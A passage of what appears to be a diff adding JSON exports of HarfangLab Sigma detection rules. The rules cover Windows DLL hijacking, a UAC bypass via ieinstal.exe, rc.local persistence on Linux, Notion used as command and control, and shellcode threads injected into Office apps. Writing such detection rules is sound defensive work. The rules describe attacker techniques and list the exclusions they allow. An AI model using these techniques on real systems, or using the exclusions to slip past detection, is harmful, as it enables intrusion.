'\\DSROLE.dll'\n            - '\\logoncli.dll'\n            - '\\netutils.dll'\n            - '\\samcli.dll'\n            - '\\srvcli.dll'\n            - '\\wkscli.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "80817c0a-7bb5-410a-a3cd-83171dc0be80",
+  "rule_name": "DLL Hijacking via net1.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via net1.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8093156c-fb61-4f53-a780-8596f8f72ffc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.080953Z",
+  "creation_date": "2026-03-23T11:45:34.080961Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.080965Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://www.trendmicro.com/en_us/research/22/k/earth-preta-spear-phishing-governments-worldwide.html",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_servicehub_testwindowstorehost.yml",
+  "content": "title: DLL Hijacking via ServiceHub.TestWindowStoreHost.exe\nid: 8093156c-fb61-4f53-a780-8596f8f72ffc\ndescription: |\n    Detects potential Windows DLL Hijacking via Visual Studio ServiceHub.TestWindowStoreHost.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://www.trendmicro.com/en_us/research/22/k/earth-preta-spear-phishing-governments-worldwide.html\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/12/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'ServiceHub.Host.CLR.exe'\n        ProcessSignature: 'Microsoft Corporation'\n        ImageLoaded|endswith: '\\TenioDL_core.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\Microsoft Visual Studio*\\'\n            - '?:\\Program Files\\Microsoft Visual Studio*\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files (x86)\\Microsoft Visual Studio*\\'\n            - '?:\\Program Files\\Microsoft Visual Studio*\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Corporation'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8093156c-fb61-4f53-a780-8596f8f72ffc",
+  "rule_name": "DLL Hijacking via ServiceHub.TestWindowStoreHost.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via Visual Studio ServiceHub.TestWindowStoreHost.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-12-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "80aad0df-28c0-4698-ac2c-9be3629de78e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.073742Z",
+  "creation_date": "2026-03-23T11:45:34.073745Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.073749Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/hfiref0x/UACME"
+  ],
+  "name": "t1548_002_post_uac_bypass_iieaxiadmininstaller.yml",
+  "content": "title: UAC Bypass Executed via IIEAxiAdminInstaller\nid: 80aad0df-28c0-4698-ac2c-9be3629de78e\ndescription: |\n    Detects an unsigned process being spawned by 'ieinstal.exe'.\n    As all Internet Explorer extensions are supposed to be signed, if 'ieinstal.exe' spawns an unsigned process, it is most probably the consequence of a UAC bypass.\n    Adversaries may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to investigate the process spawned by 'ieinstal.exe' to look for malicious content and subsequent malicious child processes.\nreferences:\n    - https://github.com/hfiref0x/UACME\ndate: 2020/10/19\nmodified: 2025/03/31\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1548.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentImage|endswith: '\\ieinstal.exe'\n\n    exclusion_signed:\n        Signed: 'true'\n\n    exclusion_vcredist:\n        # \"C:\\Users\\XXXX\\AppData\\Local\\Temp\\IDC2.tmp\\VCRedist.exe\"\n        # old unsigned vcredist.exe...\n        Image|endswith: '\\VCRedist.exe'\n\n    exclusion_adobe:\n        # C:\\Users\\XXXX\\AppData\\Local\\Temp\\IDC2.tmp\\AdobePlugin.exe\n        Image|endswith: '\\AdobePlugin.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "80aad0df-28c0-4698-ac2c-9be3629de78e",
+  "rule_name": "UAC Bypass Executed via IIEAxiAdminInstaller",
+  "rule_description": "Detects an unsigned process being spawned by 'ieinstal.exe'.\nAs all Internet Explorer extensions are supposed to be signed, if 'ieinstal.exe' spawns an unsigned process, it is most probably the consequence of a UAC bypass.\nAdversaries may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to investigate the process spawned by 'ieinstal.exe' to look for malicious content and subsequent malicious child processes.\n",
+  "rule_creation_date": "2020-10-19",
+  "rule_modified_date": "2025-03-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "80c6b401-983c-4576-bac5-ad2902f30c70",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.683660Z",
+  "creation_date": "2026-03-23T11:45:35.297636Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.297641Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1037.004/T1037.004.md#atomic-test-2---rccommon",
+    "https://attack.mitre.org/techniques/T1037/004/"
+  ],
+  "name": "t1037_004_rc_local_modified_linux.yml",
+  "content": "title: RC Script rc.local Modified\nid: 80c6b401-983c-4576-bac5-ad2902f30c70\ndescription: |\n    Detects an attempt to modify the RC script \"/etc/rc.local\".\n    The \"/etc/rc.local\" file is a script that is used to perform system-level tasks during the boot process on Unix-like systems.\n    Adversaries can establish persistence by adding a malicious binary path or shell commands to this file.\n    It is recommended to download the RC script for analysis and to remove any potentially malicious binaries or shell commands.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1037.004/T1037.004.md#atomic-test-2---rccommon\n    - https://attack.mitre.org/techniques/T1037/004/\ndate: 2022/12/26\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1037.004\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Behavior.Persistence\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection:\n        - Path:\n            - '/etc/rc.local'\n            - '/etc/rc.d/rc.local'\n        - TargetPath:\n            - '/etc/rc.local'\n            - '/etc/rc.d/rc.local'\n\n    filter_read_access:\n        Kind: 'access'\n        Permissions: 'read'\n\n    exclusion_dpkg:\n        - ProcessImage: '/usr/bin/dpkg'\n        - ProcessParentImage: '/usr/bin/dpkg'\n        - ProcessGrandparentImage: '/usr/bin/dpkg'\n    exclusion_dpkg_cmds_bin:\n        - ProcessCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/dpkg-'\n    exclusion_dpkg_cmds_sbin:\n        - ProcessCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/sbin/dpkg-'\n    exclusion_apt:\n        - ProcessImage: '/usr/bin/apt'\n        - ProcessParentImage: '/usr/bin/apt'\n        - ProcessGrandparentImage: '/usr/bin/apt'\n    exclusion_debconf:\n        - ProcessCommandLine|contains: '/usr/bin/debconf'\n        - ProcessParentCommandLine|contains: '/usr/bin/debconf'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/debconf'\n    exclusion_dpkg_postinstall:\n        - ProcessCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n        - ProcessParentCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n        - ProcessGrandparentCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n    exclusion_cmp:\n        ProcessCurrentDirectory|startswith: '/var/backups/'\n        ProcessImage|endswith: '/cmp'\n        ProcessParentName: 'passwd'\n        ProcessGrandparentImage|endswith: '/run-parts'\n    exclusion_yum:\n        - ProcessCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessParentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessGrandparentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n    exclusion_dnf:\n        ProcessCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python* /bin/dnf'\n            - '/usr/bin/python* /usr/bin/dnf'\n\n    exclusion_docker:\n        ProcessImage:\n            - '/usr/bin/dockerd'\n            - '/usr/sbin/dockerd'\n            - '/usr/local/bin/dockerd'\n            - '/usr/bin/dockerd-current'\n            - '/usr/sbin/dockerd-current'\n\n    exclusion_bitdefender:\n        ProcessImage: '/opt/bitdefender-security-tools/bin/bdsecd'\n\n    exclusion_rootlesskit:\n        # /home/<redacted>/bin/rootlesskit --state-dir=/run/user/1022/dockerd-rootless --net=slirp4netns --mtu=65520 --slirp4netns-sandbox=auto --slirp4netns-seccomp=auto --disable-host-loopback --port-driver=builtin --copy-up=/etc --copy-up=/run --propagation=rslave /home/<redacted>/bin/dockerd-rootless.sh\n        - ProcessImage:\n            - '/usr/bin/rootlesskit'\n            - '/home/*/bin/rootlesskit'\n            - '/home/*/.bin/rootlesskit'\n        - ProcessParentImage:\n            - '/usr/bin/rootlesskit'\n            - '/home/*/bin/rootlesskit'\n            - '/home/*/.bin/rootlesskit'\n\n    exclusion_snapd:\n        - ProcessImage:\n            - '/snap/snapd/*/usr/lib/snapd/snapd'\n            - '/snap/core/*/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snap-update-ns'\n            - '/usr/libexec/snapd/snapd'\n            - '/usr/libexec/snapd/snap-update-ns'\n            - '/snap/snapd/*/usr/lib/snapd/snap-update-ns'\n        - ProcessParentImage:\n            - '/snap/snapd/*/usr/lib/snapd/snapd'\n            - '/snap/core/*/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snap-update-ns'\n            - '/usr/libexec/snapd/snapd'\n            - '/usr/libexec/snapd/snap-update-ns'\n            - '/snap/snapd/*/usr/lib/snapd/snap-update-ns'\n        - ProcessGrandparentImage:\n            - '/snap/snapd/*/usr/lib/snapd/snapd'\n            - '/snap/core/*/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snap-update-ns'\n            - '/usr/libexec/snapd/snapd'\n            - '/usr/libexec/snapd/snap-update-ns'\n            - '/snap/snapd/*/usr/lib/snapd/snap-update-ns'\n\n    exclusion_podman:\n        ProcessImage: '/usr/bin/podman'\n\n    exclusion_template_ansible:\n        - ProcessCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/AnsiballZ_*.py'\n        - ProcessParentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "80c6b401-983c-4576-bac5-ad2902f30c70",
+  "rule_name": "RC Script rc.local Modified",
+  "rule_description": "Detects an attempt to modify the RC script \"/etc/rc.local\".\nThe \"/etc/rc.local\" file is a script that is used to perform system-level tasks during the boot process on Unix-like systems.\nAdversaries can establish persistence by adding a malicious binary path or shell commands to this file.\nIt is recommended to download the RC script for analysis and to remove any potentially malicious binaries or shell commands.\n",
+  "rule_creation_date": "2022-12-26",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1037.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "80c7b1a3-29b3-4c45-8609-82e0738fb42c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.603107Z",
+  "creation_date": "2026-03-23T11:45:34.603111Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.603118Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://go.recordedfuture.com/hubfs/reports/cta-2023-0127.pdf",
+    "https://www.notion.so",
+    "https://attack.mitre.org/techniques/T1071/001/"
+  ],
+  "name": "t1071_001_suspicious_url_to_notion.yml",
+  "content": "title: Suspicious URL request to api.notion.com\nid: 80c7b1a3-29b3-4c45-8609-82e0738fb42c\ndescription: |\n    Detects suspicious URL requests to api.notion.com.\n    Notion is a legitimate online workspace that can be used by attackers to use as command and control (C2).\n    The Nobelium GraphicalNeutrino malware is known to exploit this service for C2 communications.\n    It is recommended to analyze the process responsible for the URL request to determine if the communication is legitimate.\nreferences:\n    - https://go.recordedfuture.com/hubfs/reports/cta-2023-0127.pdf\n    - https://www.notion.so\n    - https://attack.mitre.org/techniques/T1071/001/\ndate: 2023/03/08\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1071.001\n    - attack.t1102.002\n    - classification.Windows.Source.UrlRequest\n    - classification.Windows.Behavior.Masquerading\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    product: windows\n    category: url_request\ndetection:\n    selection:\n        RequestUrlHost: 'api.notion.com'\n\n    filter_notion:\n        ProcessSigned: 'true'\n        ProcessSignature: 'Notion Labs, Inc.'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "80c7b1a3-29b3-4c45-8609-82e0738fb42c",
+  "rule_name": "Suspicious URL request to api.notion.com",
+  "rule_description": "Detects suspicious URL requests to api.notion.com.\nNotion is a legitimate online workspace that can be used by attackers to use as command and control (C2).\nThe Nobelium GraphicalNeutrino malware is known to exploit this service for C2 communications.\nIt is recommended to analyze the process responsible for the URL request to determine if the communication is legitimate.\n",
+  "rule_creation_date": "2023-03-08",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1102.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "80fbb6bd-afa2-4e53-952b-a18d5cf2772b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.084774Z",
+  "creation_date": "2026-03-23T11:45:34.084776Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.084780Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/",
+    "https://attack.mitre.org/techniques/T1106/",
+    "https://attack.mitre.org/techniques/T1620/"
+  ],
+  "name": "t1204_002_msoffice_injected_thread.yml",
+  "content": "title: Suspicious Thread Created in Office\nid: 80fbb6bd-afa2-4e53-952b-a18d5cf2772b\ndescription: |\n    Detects the suspicious creation of an executable thread in a Microsoft Office application.\n    A malicious VBA macro using the CALL function could directly leverage Microsoft OS API to create an executable thread and inject a shellcode into it.\n    It is recommended to investigate the document opened by Office when this detection happened to look for malicious VBA macros or the exploitation of vulnerabilities.\n    Is is also recommended to analyze the subsequent behavior of the Office application, mainly look for suspicious child processes.\nreferences:\n    - https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/\n    - https://attack.mitre.org/techniques/T1106/\n    - https://attack.mitre.org/techniques/T1620/\ndate: 2023/12/14\nmodified: 2025/09/30\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1106\n    - attack.t1204.002\n    - attack.defense_evasion\n    - attack.t1620\n    - classification.Windows.Source.Thread\n    - classification.Windows.Behavior.InitialAccess\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: injected_thread\ndetection:\n    selection:\n        ProcessImage|endswith:\n            - '\\WINWORD.EXE'\n            - '\\EXCEL.EXE'\n            - '\\OUTLOOK.EXE'\n            - '\\MSPUB.EXE'\n            - '\\POWERPNT.EXE'\n        RegionSize|gte: 4096\n        RegionSize|lte: 65536\n        RegionState: 'MEM_COMMIT'\n        RegionType: 'MEM_PRIVATE'\n        RegionProtection: 'PAGE_EXECUTE_READWRITE'\n        RegionAllocationProtection: 'PAGE_EXECUTE_READWRITE'\n\n    filter_region_start_bytes:\n        RegionDump|startswith:\n            - '0x000000000000000000000000000000'\n            - '0x4D5A'\n\n    exclusion_mactray:  # Injecter: MacType\\MacTray.exe, mt64agnt.exe, https://github.com/snowie2000/mactype\n        ThreadDump|startswith: '0x40534883EC2033D2488BD9488B4910448D42'\n\n    exclusion_gamemon:  # Injecter: GameGuard\\GameMon64.des, https://gameguard.nprotect.com\n        ThreadDump|startswith: '0xE831010000454C4908000005000A00000000'\n\n    # Netskop EPDLP\n    exclusion_netskop:\n        ThreadDump|startswith: '0x4883EC284831C94831D249B8'\n        RegionSize: 4096\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "80fbb6bd-afa2-4e53-952b-a18d5cf2772b",
+  "rule_name": "Suspicious Thread Created in Office",
+  "rule_description": "Detects the suspicious creation of an executable thread in a Microsoft Office application.\nA malicious VBA macro using the CALL function could directly leverage Microsoft OS API to create an executable thread and inject a shellcode into it.\nIt is recommended to investigate the document opened by Office when this detection happened to look for malicious VBA macros or the exploitation of vulnerabilities.\nIs is also recommended to analyze the subsequent behavior of the Office application, mainly look for suspicious child processes.\n",
+  "rule_creation_date": "2023-12-14",
+  "rule_modified_date": "2025-09-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1106",
+    "attack.t1204.002",
+    "attack.t1620"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "811137eb-c074-4346-95a0-c3b719d52436",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.088075Z",
